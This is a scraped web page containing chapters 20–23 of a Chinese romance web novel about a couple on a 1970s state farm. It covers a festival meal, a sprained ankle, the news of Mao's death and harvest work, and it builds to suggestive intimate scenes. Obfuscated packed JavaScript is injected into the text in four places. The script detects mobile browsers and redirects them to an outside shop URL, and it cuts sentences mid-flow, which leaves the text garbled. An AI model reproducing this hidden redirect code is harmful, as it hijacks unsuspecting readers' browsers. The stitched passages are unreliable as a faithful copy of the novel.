;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆思甜偷笑道:“你们别在逐星姐面前说什么早结婚之类的话,她可是有一箩筐的话在等着你。” “我确实会适当劝阻,”孟逐星道,“毕竟大家都还很年轻,青春正好,这个年纪读书、挣钱、拼事业,做什么不比结婚好呀?” 莫莉莉摆了摆手儿,“这话你跟我们都说不上,毕竟除了你,我们几个可连个对象都没有,更别提结哪门子婚呀。” 孟逐星笑道:“农场里我看有不少长得好看的小伙子,你们是眼光高,没瞧上他们罢了。” “我可是还盼着回城呢。”莫莉莉说罢,轻叹一口气,“就是不知道什么时候……” 周蒙说:“其实我觉得这里也挺好的,一直留在这儿我也没什么意见。” 她不是城里人,回老家后的命运大概率就是被安排相亲嫁人、结婚生子,过上与妈妈、婶子一样的生活,那样陈旧固定的人生一下子就看到了头。 孟逐星鼓舞道:“再坚持坚持,兴许很快就有好消息传来了。” 也不知是不是她的嘴开过光,没两天,知青点便有了四个返城名额,虽然与他们医院不搭噶,但怎么说也算是某种讯号。 不过在听说知青们为了这几个名额你争我抢时,莫莉莉摇头叹息:“果然在利益面前,其他的都是王八蛋。” 孟逐星对这些并不关心,她忙着养猪养鸡,捡鸭蛋去卖,忙着挣钱,终于在一个凉爽的日子里,坐上了陆宗青的后车座,和陆思甜、李少阳一道去了镇上采买。 花钱的感觉真的让人兴奋,在置办好秋冬的棉衣、棉被后,四人进国营饭店狠撮了一顿。 孟逐星请客,后来陆宗青又给她补贴了一大半。 她再三推辞,可人家就是非得给。 孟逐星心善,不好拂他面子让他伤心,只得含笑接过。 天气渐凉,人要保暖,家禽和猪也不能马虎,孟逐星和陆思甜修整鸡圈、猪舍,加上了窗户和门,用塑料布封好防止漏风,地上又铺了一层厚厚的干草。 为了以防万一,又叫来陆宗青给做了加固、查漏补缺。 忙完后,陆宗青看着自在舒适的猪崽,心头不知为何涌上了些许酸涩—— 逐星对他,似乎都没有对猪这么在意呢。 20. 第 20 章 一眨眼到了中秋节,9月8日那天农场各处都放了假,烟囱青烟直冒,家家户户都在做些好吃的。 小厨房里站着个男人,肩宽腿长,身材高大,颠锅的动作娴熟,看得人赏心悦目。 孟逐星吃着月饼,点评道:“小陆越来越麻利了,咱们马上就能开饭。” 陆思甜憋着笑:“待会儿我哥回来了,你也敢这样叫他?” 孟逐星杏眼圆睁:“怎么不敢了,只是没那个必要。” 原本她是想叫上周蒙等人一块吃饭的,可被她们以“不想打搅他们家人团聚”给拒绝了,她们几个去镇上玩去了。 ——宋若楠前阵子回来了,整个人瘦了一圈,郁郁寡欢很久。 据她说,招娣在一个下大雨的夜里再也没有醒来。 宋若楠平静道:“虽然这样说不好,但我觉得她这样离开也挺好的,至少不用再受罪了。” 孟逐星安慰道:“她下辈子一定会投生在一个幸福的家庭。” …… 吃完饭,孟逐星提议去山里转转,陆思甜不想当电灯泡,便说有点累不想去,她就和陆宗青去了,两人一路上摘些野果野花,谈天说地,好不惬意。 不出意外地,孟逐星就出意外了,下山的时候她的脚踝扭了一下,剧痛无比,她顿时眼泛泪花。 陆宗青俯身看了看,“肿了,”背对着她蹲下,“上来,我背你下去看医生。” “……” 伏在他背上时,孟逐星才感觉到他的身体特别结实,和平时隔着衣服看到的修长挺拔很不一样,她好奇地伸出手指戳了戳—— 柔软而有弹性,有点儿神奇。 陆宗青脚步微顿,“怎么了?” “……没什么,”孟逐星耳根微红,“宗青哥,你的背好宽阔结实哦。” 陆宗青抿了抿唇,“平时练多了,你……喜欢这样吗?” 他曾听人说,有的小姑娘不喜欢男人这样,觉得太过粗鲁可怕。 “喜欢呀,让人很有安全感。”孟逐星说着,正大光明地摸了两把,又补充了一句,“特别好。” 陆宗青心下稍安,“你抓好了,这段路有点陡。” 孟逐星紧紧抱住他的脖颈,生怕掉下去,太过用力以致于勒得陆宗青脸色微青…… “咳咳,”后者挣扎道,“也不必这么紧。” “哦哦。” 手劲儿略微松了些,到了平缓的路段时,脚踝也没有刚才那么疼了,孟逐星才有心情欣赏四周的景色。 这还是她头一回站在这么高的视角,俯瞰望去,真的和平时很不一样。 很快,她又被陆宗青的头发吸引,他头发很短,乌黑刺硬,与深麦色的肌肤极为相称,散发着凌厉的野性。 孟逐星没忍住伸手指戳了戳,却触到了他的后颈,她下意识缩手,就见到他的耳朵肉眼可见地红了起来。 ……嗯?这是什么纯情含羞草人设? 她忽然有些口干舌燥,脑海中闪过一个念头——那天夜里黑暗中在医院帮她时,他的喘息声隐忍又克制,当时的他是什么神情? 不行,以后要找个机会当面看清楚。 下山之后,路上的人就变多了,孟逐星想下来自己走,被陆宗青温声劝阻:“还是我接着背你吧,咱们的关系大家都知道,不用避嫌。” 孟逐星小声说:“我是怕会对你产生什么不好的影响。” “没事的,不用担心。” 正值中秋节,农场里的人都在欢欣地过节,瞧见他们两人过来时,相熟的人难免会打趣一番,“哟,小陆这么会心疼媳妇儿呢!” 陆宗青解释:“她在山上扭了脚。” “哎哟那可不能大意,快去医院看看吧!” 一路上遇到了不少人,说辞都差不多,陆宗青也是好耐性,每个人都给解释了一下,孟逐星汗流浃背,好家伙这下大家都知道她扭脚的事了…… 途中,遇到一个梳着两根麻花辫的姑娘,十五六岁,圆圆脸,生得很讨喜的模样,见到陆宗青小脸上满是欢喜,却在看到孟逐星时,小脸顿时垮了下来。 她头顶闪光的对话框弹出:【啊啊啊啊啊!那个女人怎么在陆哥哥身上?!】 孟逐星:? 合着她这是遇到情敌了? “二妞,你在这儿傻站着干啥?” “没什么。”圆脸小姑娘瞪了眼孟逐星,跟她妈离开了。 陆宗青将一切看在眼里,怕孟逐星会多心,赶忙解释道:“这是赵大妈的二女儿,去年夏天发大水,我帮他们一家脱了困,二妞就对我比较感激,仅此而已。” 孟逐星轻哼一声:“你只把她当妹妹?” “嗯。” “可人家明显不是这么想的哦。” “……” 在医院看过医生,没伤到骨头,拿了消肿化瘀的药膏后,陆宗青背着孟逐星回到了小院。 他还在思索怎么解释,可孟逐星并没把这件事放在心上。 有人喜欢陆宗青说明他优秀,也说明那人跟自己一样有眼光,只要不插足他们的感情,她也没理由管那么宽。 陆思甜见她受了伤很是担心,“怎么出去时还好好儿的,回来就瘸了?” “都是我不好,走路的时候没当心脚下,扭到了,不过问题不大,涂点药膏过两天就好了。” “我听说晚上在晒谷场那边会放电影,本来还想跟你一块儿去看呢,现在……” 孟逐星顿时来了精神:“放什么电影?” “《春苗》,我问了下,讲的是某大队妇女队长田春苗响应毛主席号召,努力学习医学知识,成为赤脚医生为乡亲们治病的故事。” “我想去看看。” 陆宗青道:“你的脚不方便挪动。” “那我拄个拐杖脚不沾地?” “还是我背你去吧。”陆宗青卷起衣袖去洗手,“我这就做饭,咱们吃完饭就去占位子。” “占什么位子啊?”李少阳的声音突然在门外响起,笑眯眯地拎着一兜子杂鱼和两包月饼走了进来,“有没有我的份儿?” 陆思甜叫了声“少阳哥”,说起今晚看电影的事。 “大过节的我孤身一人,就让我跟你们一块儿去凑个热闹吧!宗子这里有几条鱼,我现从河里钓的,你看怎么做比较合适。” 陆宗青接过鱼,“收获不少啊。” 李少阳很得意:“那可不!我钓鱼一直都很厉害的!” 他转头将月饼放在桌上,“这是我一大早排队拿月饼票买的,拿来给你们尝尝,过节了就当应个景儿。” 孟逐星问:“什么馅儿的?” “五仁的,特香。” 要是搁以前,孟逐星最不爱吃五仁馅儿的,只是在这个年代过了几个月,再挑的嘴也给整老实了,她打开油纸拿了两块月饼出来,切成四份,留着待会儿吃饭时吃。 厨房里,陆宗青利落地处理好鱼,下油锅煎至两面金黄,加入辣椒大酱翻炒,再倒入滚水,水开之后将土豆、豆角、粉条放了进去,小火开炖。 他转身又去切了一盘青椒,打了四个鸡蛋搅匀,在大锅后面的小锅里炒了起来。 孟逐星这会儿都不会再说“是否要帮忙”的客气话,因为她知道陆宗青肯定会温和地把她推出去。 “厨房油烟大,对身体不好,你还是在外面等着吧。” 他总是这样说,次数多了,孟逐星心里那点愧疚与不好意思也渐渐消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732936|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 人性就是这样,能不劳而获时,谁又真的愿意吭哧瘪肚地付出辛苦劳动呢? 孟逐星觉得,陆宗青这样是对她好,但也是在惯着她,她曾笑着跟他说:“宗青哥,你对我这么好,我就会变懒,以后家里也要辛苦你做饭哦。” 家里。 陆宗青眸光微动,“嗯,只要你不嫌弃,我就一直做饭给你吃。” …… 很快,饭做好了。 杂鱼乱炖、青椒炒蛋、酸辣土豆丝、蒜泥茄子,还有煮得黏糊香甜的小米粥。 孟逐星和陆思甜一块儿把饭菜端上桌,李少阳则大爷般地坐着,忽然像变戏法般,从裤兜里摸出了两瓶麦精露。 这种饮料是以面包酒花特酿而成,酸甜适口,营养丰富,在这边很受欢迎。 他给每人的碗里倒了些,对陆宗青笑道:“宗子你来说两句。” 陆宗青顿了顿,“今天中秋节,咱们虽然不能与家人团聚,但明月千里寄相思,咱们在这边过得好,家里人也就不会惦记担心。节日快乐。” “节日快乐!”三人齐声。 孟逐星想到了现代的亲人,心里有几分酸楚,陆宗青察觉到她的异样,轻声问:“怎么了?脚踝不舒服么?” “不是。”孟逐星摇了摇头,“只是想到我爸妈他们了。” 陆宗青以为她想的是早逝的父母和弟弟,安慰道:“等你脚好了,我陪你去给他们烧点纸钱。” “嗯。” 陆宗青做菜不仅麻利,味道也很好吃,孟逐星和陆思甜饭量都不大,很快就吃饱了,在小口吃着月饼,看他俩吃饭。 俩人都属于相貌好看的人,不同的是李少阳一双桃花眼显得格外多情,陆宗青则更为沉稳冷峻。 他们吃饭速度快,却很安静不让人觉得粗鲁,孟逐星忽然有种在看帅哥吃播的感觉,十分享受。 等两人吃完饭,李少阳被派去洗碗,陆宗青则洗干净手拿了药膏,蹲在孟逐星跟前,满脸认真地给她的脚踝涂药膏。 他的手指修长有力,指腹触到她肌肤时却很轻柔,仿佛生怕弄疼了她。 在孟逐星的角度,她看到了他纤长浓密的睫毛,高挺的鼻梁,以及微微抿起的薄唇。 啊,真是长了张惑人的脸。 涂上药膏后,要力道均匀地揉一揉,好让药膏更好地生效,陆宗青握住她的脚踝,指腹用力揉着,抬头问:“这个力度可以么?” 救命。 孟逐星脸颊发热,心跳快了两拍,胡乱“嗯”了一声。 过了一会儿,陆宗青直起身去洗了手,见李少阳也收拾完了,便道:“走吧,咱们去晒谷场看电影去。” 陆思甜和李少阳各拎了两个小板凳,陆宗青则背着孟逐星,四人一块来到晒谷场,见幕布前已经坐了不少人,还有很多板凳在占位置。 “没想到有这么多人。”陆思甜张望着,指了指不远处,“哥我们坐那边吧?虽然有点偏,但算是比较近的了。” “好。” 四人并排坐下,夕阳的余晖照在晒谷场上,映照出众人的身影,男女老少都有,他们穿着朴素,甚至有人的衣裳洗得发白,但每个人脸上都洋溢着鲜活的笑容。 孟逐星一时间有些怔住,她脑海中突然闪过某天早上逛公园看到的场景——小广场上晨练的大爷大妈、奔跑嬉戏的小朋友,戴着耳机晨跑的青年男女…… 虽是不同时空,这份踏实稳定的幸福却很相似。 她眼眶微微湿润,两个年代的距离仿佛一瞬间被拉近,那种孤身一人漂泊在异世界的孤独感渐渐淡去直至消失。 孟逐星笑了起来,她怎么犯傻了呢。 这片土地,一直都是她的家呀。 21. 第 21 章 9月9日下午4时,农场广播里传来噩耗——中国人民的伟大领袖、伟大导师毛主席于当天凌晨0时10分在北京逝世。 一时间,无数人都惊愕不已、痛哭出声。 孟逐星也在一瞬间红了眼眶,眼泪涌出。 她也曾被人误导,对□□有诸多误解,在后来经历更多事后,才开始越来越理解他。 那天之后下了很久的雨,仿佛天地也为一位伟人的陨落而伤怀。 天气变得寒冷起来,厚衣服厚被子纷纷登场,尽管十分注意,但陆思甜还是冻感冒了,顺带着也传染给了孟逐星。 这场病来势汹汹,两人轮流发烧,陆宗青买了些营养品,跟队里请了假照顾两人,却也碍于身份不好过夜,于是两人缠绵病榻七八天才彻底好透。 病好之后,孟逐星就拉着陆家兄妹去寺庙烧香拜了拜,去去身上的晦气。 天气晴好时,她就上山去摘了许多山楂果,洗干净去核,用削细洗净的木签子串起来,裹上小火慢熬的糖稀,放凉,纯天然自制的冰糖葫芦就做好了。 酸甜可口,在小院里很受欢迎。 看着门外眼巴巴瞅着的孩子们,孟逐星又上了回山,摘了更多的果子,做了许多糖葫芦分给他们吃。 小孩子吃得开心,她看着也很高兴。 陆思甜本来还有点儿心疼白糖,在看到那一张张笑脸时,那点子舍不得也消失了,反而兴冲冲地问:“逐星姐,明天还上山吗?” “……山楂树都被薅秃了。” “啊。”陆思甜有点失望。 孟逐星杏眼晶亮,笑眯眯道:“不过还可以做点别的。” 第二天,两人连带着许多不上学的小孩又冲上了山,孟逐星做军师,指挥着众人捡了摘了好多野生毛栗子、野山榛,还摘了一大捧野花,满载而归。 小孩们满脸期待地看她处理这些山货,终于在傍晚被妈妈叫回家前,吃到了刚出锅的糖煮栗子。 孟逐星许下诺言:“过几天再来,我把栗子、榛子晒干些,炒了给你们吃。” 小孩儿们欢喜至极,高兴地跑回了家。 第二天再过来时,每个人手里都带了些小礼物,或是几个土豆,或是一颗大白菜,还有的是从兜里掏出了一把晒干的南瓜子,都是自家地里种的,不值什么钱,却满满的都是心意。 孟逐星心里暖暖的,小时候家里条件不好,很多东西她好奇、想要却不敢跟大人说,变成了长大后的执念。 她做这些根本没想过要什么回报,只是见孩子们高兴,她也感觉很满足,仿佛是长大后的自己,好好款待了一下年幼的自己。 ** 日出日落,昼夜交替不止。 农场里的知青们有返城的,也有新来的生面孔,去地里收庄稼时,孟逐星和他们打了个照面,一张张年轻的面容上满是迷茫与担忧,初来乍到,前途未卜。 她对他们招了招手,露出一个灿烂的笑容。 知青们愣了一下,脸上的神情多了几分生气。 地里她之前种了玉米,之前喷药、除草各种打理十分累人,如今掰玉米的活也不轻松。 玉米生得高而密,人站在里面特别闷得慌。 尽管头和脸上包了层布,但孟逐星还是被玉米叶子给擦得发痒难受,陆宗青见状,只让她在地头坐着歇息,他则又一头钻进了玉米地。 后勤队员陆思甜忙给她倒了碗凉白开,“逐星姐,我们就在这儿等着吧,我哥掰玉米可麻利了,以前小时候在家,我大伯家的玉米一半都是我哥掰的。” 孟逐星一口气喝了半碗水,喘了口气:“你哥真的很厉害。” 目前来说,她还没发现他有什么缺点。 有点太完美了,反而让人觉得不那么真实。 歇了一会儿,她和陆思甜一块儿将玉米棒子装进麻袋,又抬到平板车上,待会儿凑齐一车再拉回家。 忙活到天黑,他们才将地里的玉米收完。 晚饭直接去的农场食堂,吃完饭,三人慢悠悠往家走。 途中,竟然看到有个陌生男人在跟莫莉莉说话,不知说到了什么,莫莉莉神情有点不耐烦想走,那小个男的却扯住了她的胳膊。 孟逐星见状立马跑了过去,挡在莫莉莉身前,大声斥问:“你干什么?怎么对人动手动脚的?” 小个男愣了一下,上下打量着孟逐星,坏笑道:“妹妹,你这个朋友长得也很好看,要不你把她介绍给我认识,处个朋友?” 莫莉莉翻了个白眼,“你家里穷得没镜子,尿总有吧?” 小个男:“?” “撒泡尿照照你的德性,还没我家大葱高,老娘不稀的搭理你,你还一直跟过来。”莫莉莉揽住孟逐星,“还不快走?在等公安来抓你吗?” 小个男眼神闪烁,不死心道:“妹妹,这么凶干啥,太凶的没有男人喜欢的,你告诉我你们的名字和工作单位我就马上离开。” “不如你先告诉我你的名字。”一道低沉的声音在身后响起,猥琐男蓦地脊背一凉,缓缓转过头。 面前站着一个年轻男人,身影高大,寸头,深麦色皮肤,一双眼睛深不见底,气质叫人不寒而栗。 他直觉不妙,想抬脚溜走时就觉颈后一紧,整个人竟被那人给拎了起来! “骚扰猥/亵女同志,走,跟我去派出所。” 陆宗青拎着那小个男,对孟逐星说:“你先回去吧,我过会儿就回来。” “我还是跟你一块儿去吧。”孟逐星顿了顿,“你小心点,别让这人踢脏了裤子。” 小个男满脸绝望:“……” 不带这么侮辱人的。 莫莉莉是事主,跟着一块儿去了,到派出所后将事情说了一遍,又有孟逐星陆思甜三个人证,很快,那人就被扣下了。 回去的路上,莫莉莉没好气地吐槽:“真是见了鬼了,我好好儿地走在路上,他就跟个鬼似的从身后冒了出来,妹妹长妹妹短的叫了一路,我不理他他还非要笑不呲地凑过来,真讨厌!” 陆思甜关切道:“莉莉姐,你之前遇到过这样的情况吗?今天幸好是遇到了我们,要是你一个人可就麻烦了……” 莫莉莉摆了摆手,“以前也遇到过搭讪的,不过人家都很有礼貌,不像这家伙狗皮膏药一样黏人,呸,晦气。” 孟逐星想了想,说:“最近天黑得越来越早了,你以后下班最好和小蒙她们一起走,有个伴儿,或者就随身带把小刀防身。” 她想起防狼喷雾和辣椒油,只是这会儿还没有这个东西。 莫莉莉满脸得意:“倒也不用太担心,我可是有点武艺傍身的。” 孟逐星很是惊奇:“嗯?你还会武功?” “我会打太极呀,以前跟我爷爷学得老好了。” “…………” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟逐星不是万恶的资本家,陆宗青来帮她干活,她不仅好吃好喝地款待,还在一旁疯狂吹彩虹屁提供情绪价值:“哇,宗青哥你太厉害了,脱粒快得我都看到残影了!” “宗青哥你体力真好,从傍晚忙到现在也不觉得累,要不我给你揉揉肩?” 陆宗青的嘴角真的很难压。 他看着满脸甜笑的小姑娘,眸光溢满笑意,“我有点渴了,你倒点水给我喝吧。” “好嘞,这就来~” 夜里挺凉,孟逐星端来了一碗温开水,见陆宗青手脏了不方便接碗,她就顺便送到了他嘴边。 微弱的煤油灯光下,他坐着,她站着,两人离得近了,孟逐星看到了他线条清晰的下颌。 他微微仰头,脖颈修长,凸出的喉结上下滚动,莫名地色气。 孟逐星心跳快了两下,视线挪开,过了两秒又挪了回来,目不转睛地盯着他瞧。 过分炽热的目光让陆宗青很难装作没看见,他抿了抿唇,“我脸上有什么东西吗?” “嗯。”孟逐星认真点了点头。 俯身,靠近,两人呼吸相闻。 一缕淡淡的甜香扑鼻,陆宗青的心几乎快要跳出胸腔,“……是什么?” 孟逐星眨了眨眼,在他唇上落下一吻,“一只蝴蝶。” 22. 第 22 章 陆宗青还未反应过来,她就直起了身,仿佛刚才那柔软至极的触感是他的错觉。 “宗青哥哥,你怎么不说话呀?” “是不喜欢,还是被我给吓傻了?” “……” 怎么可能不喜欢。 陆宗青定定地看着她,“喜欢,只是……” 孟逐星笑得无辜,“只是什么?” “太快了。” 陆宗青起身掸了掸身上,洗干净手,忽地将孟逐星抱起来来到了墙角。 煤油灯本就昏暗,这边更是漆黑,院子里的其他姑娘早就睡了,四周静悄悄的。 孟逐星有些兴奋,面上却做出惊讶不解的样子,小声问:“宗青哥哥,你这是要做什么呀?” 黑暗中,陆宗青沉默须臾,呼吸声却显得格外沉重。 “逐星。”他俯身低头,与她鼻尖相抵,“我可以亲你吗?” 要命,他怎么可以用低沉性感的声音说这么纯情的话! 原本想撩他的,反而被他给反撩了…… 孟逐星主动圈住他的脖子,甜声道:“可以呀。” 万万没想到,她也有如此夹子音的一天。 黑暗中,她只觉一股灼热的气息扑面而来,然后,他的嘴唇贴在了她的下巴。 “……” 气氛一时有点尴尬。 孟逐星明显感觉到他僵住了,身体还有往后离开的趋势,她双腿下意识地圈住了他的腰,吻上了他的唇。 唇瓣完美衔接。 该说不说,她在接吻这块儿还是挺有天赋的。 同是接吻新手,她可比陆宗青熟练精准多了。 某人又愣了一瞬,而后小心翼翼地贴了贴她的唇瓣,仿佛怕吓着她一般。 孟逐星心尖轻颤,微微启唇,伸出舌尖舔了一下。 “……” 她明显地感觉到陆宗青腰腹上的肌肉贲起,身体更加紧绷了。 “你怎么这么紧张呀?”她用气声问。 黑暗中,陆宗青沉默一会儿,并没有说话,而是再次低头吻了下来。 这回他没亲错地方。 起初还只是变着角度地轻触,之后两人气息都变得不稳,他的舌尖探了进来。 声响轻微而暧昧,在暗夜中愈发引人遐想。 不知过了多久,两人分开,孟逐星伏在他肩头喘息,有些头晕目眩,感觉太奇妙了…… 两人拥抱一会儿,陆宗青将她放下来,蓦地嗅到一股奶香味,他神色一怔,低声问:“你又那个了么?” “嗯?”孟逐星一时没反应过来,忽然觉得胸口衣服好像有点不对劲,脑中轰地一声,“啊……” 动情之后也会涨/奶…… “是会这样的,”孟逐星艰难开口,“宗青哥哥,我之前就发现了,如果我很想你,或者是跟你亲昵些,我的身体就会……这样太奇怪了,你会不会嫌弃我?” 陆宗青抬手摸了摸她的脸,“我怎么会嫌弃你,我只是担心你总这样会对你的身体不好。” 孟逐星扑进他怀里,听着他沉稳有力的心跳,小声说:“有点难受,宗青哥哥再帮帮我好不好?” 陆宗青眼角蓦地一跳,声音微沙:“像医院那次吗?” “嗯。” “可是,”陆宗青看了眼院子,“万一有人出来被看到了……” “宗青哥哥是我的未婚夫,我们亲昵些也是正常的,难道哥哥忍心看着我难受吗?” “……”陆宗青抿了抿唇,“你真的很难受吗?” “嗯。”黑暗中,小姑娘的声音微微发颤,听起来十分可怜。 陆宗青呼吸愈发重了,缓缓抬起了手…… 秋天穿得厚了些,隔着衣服便不怎么方便。 在陆宗青迟疑之际,只觉一只柔软的手握住了他的手腕,径直往上,他瞳孔瞬间放大。 “这样更好一些。” 他一时间说不出话来。 “宗青哥你也别不好意思,你这是在帮我减轻痛苦呢。” 轻柔的声音仿若呢喃,一点点击溃他的冷静与理智,之后,他缓缓闭上了眼。 眼前一片昏暗,周遭的一切都被无限放大。 细腻温润的触感,使得陆宗青头脑一片空白,他僵硬地不知所措,细碎的、若有若无的声音传入耳中,震得他心脏发麻。 “宗青哥哥,这样我就、好多了。” 孟逐星小声开口,嗓音轻颤而夹杂着隐忍,在暗夜中格外引人遐思。 陆宗青并不是圣人,如此抱着心仪的女孩子,他很难不动情。 可他又很怕吓到她,便极力地克制,呼吸声越发粗重。 孟逐星忍不住抬头,离这么近,她可以看到他紧闭的双眼,浓密的眼睫颤动着,暴露着主人情绪的不稳,他嘴角紧抿,似是在努力忍耐着什么。 她身子越来越软,没骨头一样倚在陆宗青身上,手不经意间擦过了什么,引得他呼吸瞬间重了。 “……” 两人同时愣住,过了一会儿后,陆宗青沙哑开口:“你有没有好一些?” “嗯……” 孟逐星有点怂了,不敢再继续撩拨他,背过身去整理衣服。 陆宗青在她身后看了她许久。 当晚离开前,陆宗青说队里给他留了个单人宿舍的名额,“改天我就搬进去,到时候你可以随时来找我。” “……好。” 躺在床上时,孟逐星捂着脸翻来覆去地睡不着,激动紧张之余又有些担忧后怕,她这样会不会太随便了?毕竟是她主动拉着他的手伸进去的…… 啊啊啊啊啊! 纠结半晌之后,孟逐星顿悟了—— 性/欲也是欲望的一种,并不可耻,没什么不好面对的。 她喜欢陆宗青,对他产生欲念也是再正常不过的事,他太过守规矩,那她主动一点也无妨。 结果自然是飘飘欲仙十分让人愉悦的,不过对陆宗青来说,应该是有点折磨……的吧? 没有经验的孟逐星也摸不准,就希望他今晚能睡个好觉吧…… 陆宗青怎么可能睡着。 夜里已经有些冷了,他没盖被子躺在床上,只觉得浑身火热,一股难言的燥不可控制地蔓延。 第二天,他眼底一片乌青,明显一宿没睡,李少阳见了止不住乐:“宗子,你昨儿回来的也不晚啊,怎么没睡着?” “……” 李少阳继续贫嘴,“怎么是我那小妹子欺负你了?说出来让我们也乐呵乐呵。” “…………” 李少阳荣幸地收获了一张冷脸。 没两天,舍友们得知陆宗青申请了单人宿舍,就纷纷对他露出神秘微妙的笑容。 周晋道:“这不是很正常嘛,你们要是有了对象,也想赶紧搬出去住,一帮大老爷们儿挤一起有啥意思?” 李少阳深以为然:“俺也一样。” 只可惜他一没有资格,二没有喜欢的妹子,只能继续睡宿舍了,人多挤一挤还暖和。 在陆宗青搬宿舍那天,天冷嗖嗖的,傍晚时分,孟逐星拎了些食材过去,在桌子上支起了一口小锅,下面烧着碳火,加上陆思甜一块儿三人吃起了火锅。 陆思甜吹了吹滚烫的小青菜,小声说:“哥,我原本以为单人宿舍很清净呢,没想到也这么多人啊……” 几人所处的宿舍是一排房子中的一间,共有是十几间这样的小屋,院子里有公用的水井、厨房。 和她们现在住的小院儿差不多,可住的人却多多了。 “只是你自个儿可以一间屋而已,你还想要什么?” 陆思甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732938|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想,摇了摇头,“我也不知道。” 她想象不出来还应该有什么。 孟逐星笑眯眯道:“冰箱彩电洗衣机,wifi电脑空调之类的呀……” 陆思甜一脸懵:“逐星姐,冰箱彩电我还听说过,但是其他的东西是啥?” 陆宗青眸子微闪,想起她说过的来自异世的话,这些应该是那个世界才有的吧? 听起来虽然不太理解是什么,但是既然她想要的,就一定是好东西。 “你要是喜欢,以后我都买给你。” 孟逐星眨了眨眼,“宗青哥,那可是需要很大一笔钱的哦。” “钱不是问题。” “那我可记住啦!” 吃着热腾腾的火锅,孟逐星身上暖和起来,鼻尖沁出了细汗,瞧着亮晶晶的,陆宗青看得微微晃神,耳边传来妹妹的偷笑声。 他耳根一热,看了眼妹妹,后者立马装乖继续埋头吃饭,而孟逐星似乎没有发现什么异样。 陆宗青心里松了口气,又暗骂自己太没有定力,满脑子都是些不宜之事,这样对逐星来说太不尊重了…… “哎哟!我突然想起来个事儿!”陆思甜猛地一拍脑袋,“我早上把衣服晾在外面了,还没收!” 说着就要起身走,被孟逐星拦住,“别急呀,外面又没下雨,待会儿回去收也是一样的。” “不成,我看外面好像有点变天了,要是淋湿了我可就没衣服穿了。”陆思甜语速飞快,双腿倒腾得更是迅速,在孟逐星想再开口说什么时,她已经跑走了,还顺带着关上了门。 霎时间,小屋里就只剩下孟逐星和陆宗青两人。 “……” 这孩子想让两人独处的心思太过明显,很难让人装作不知情。 锅里蒸腾的热气弥漫在两人之间,一时间,陆宗青英俊的面容都变得有些模糊。 孟逐星咳了一声,“宗青哥,如今你搬出来了,以后我们俩是不是就能有更多的时间相处了哦。” 不知想到了什么,陆宗青险些被呛住,他脸色微红,“嗯”了一声,顿了顿,“不过,还是要遵守纪律。” 孟逐星眨了眨乌黑的杏眼,靠近他的脸,“陆排长,我不是你的兵,可以不听你的话吧?” 陆宗青的脸更红了,眼神躲闪着,她越靠近,他的身子就越往后——直到,她的手越过桌子,轻轻捏了一下他通红的耳垂。 “呀,真软。”孟逐星笑眯眯地看着他的眼睛,“我听人说,耳朵软的人心也软,宗青哥你是这样的人么?” 陆宗青心跳得厉害,“我不觉得我是心软的人。” 平时他对战友们可一点也不心慈手软。 “哦……”孟逐星起身,绕桌,坐到他腿上,手臂圈住他的脖颈,“这样会心软吗?” “……” 陆宗青喉结上下剧烈地滚动了一下。 孟逐星看在眼里,忍住笑,轻轻朝他耳朵吹了口气,“这样呢?” “…………!!!” 陆宗青说不出话来,眼底渐渐蕴上一层暗色。 孟逐星清晰地感觉到他身体的变化,她在等他,想看看他会怎么做,是继续忍着纵容她胡乱点火,还是一把将她按住这样那样? 但是她等了一会儿,陆宗青却始终没有说话,也没有推开她,只是抬手摸了摸她的脸,凝着她的眼睛,声音微沙,似叹息般:“我不是心软的人,但对你是例外。” 孟逐星愣了一下,“真的吗?无论我做什么,你都不会对我狠下心肠?” “你做什么对不起国家和人民的事了吗?” “当然没有。” “你违法乱纪了吗?” “……没有。” 陆宗青笑了笑,“那我为什么要对你狠心?” 孟逐星顿时呆住。 23. 第 23 章 她一时间有些慌乱,心跳得特别快。 “你……你这样说,好像我只要不违法祸害国家,其他的做什么都可以似的。” “嗯,只要你开心。” 孟逐星眨了眨眼,有些难以置信,“宗青哥,你……”她抬手探了探他的额头,小声嘀咕,“你真的没发烧说胡话么?怎么能这样纵着我……” 陆宗青凝着她,眸光温和而坚定:“你的感受最重要,所以只要你觉得高兴就好。” “唔。”孟逐星眼眶有点酸,头一回体会到了什么叫“溺爱”。 她亲爸妈对她也不像陆宗青这样没底线,反而觉得她这不好那不好各种挑剔,指责她总喜欢宅在家里、太过沉闷,都二十多岁的大姑娘了,还不愿意找对象。 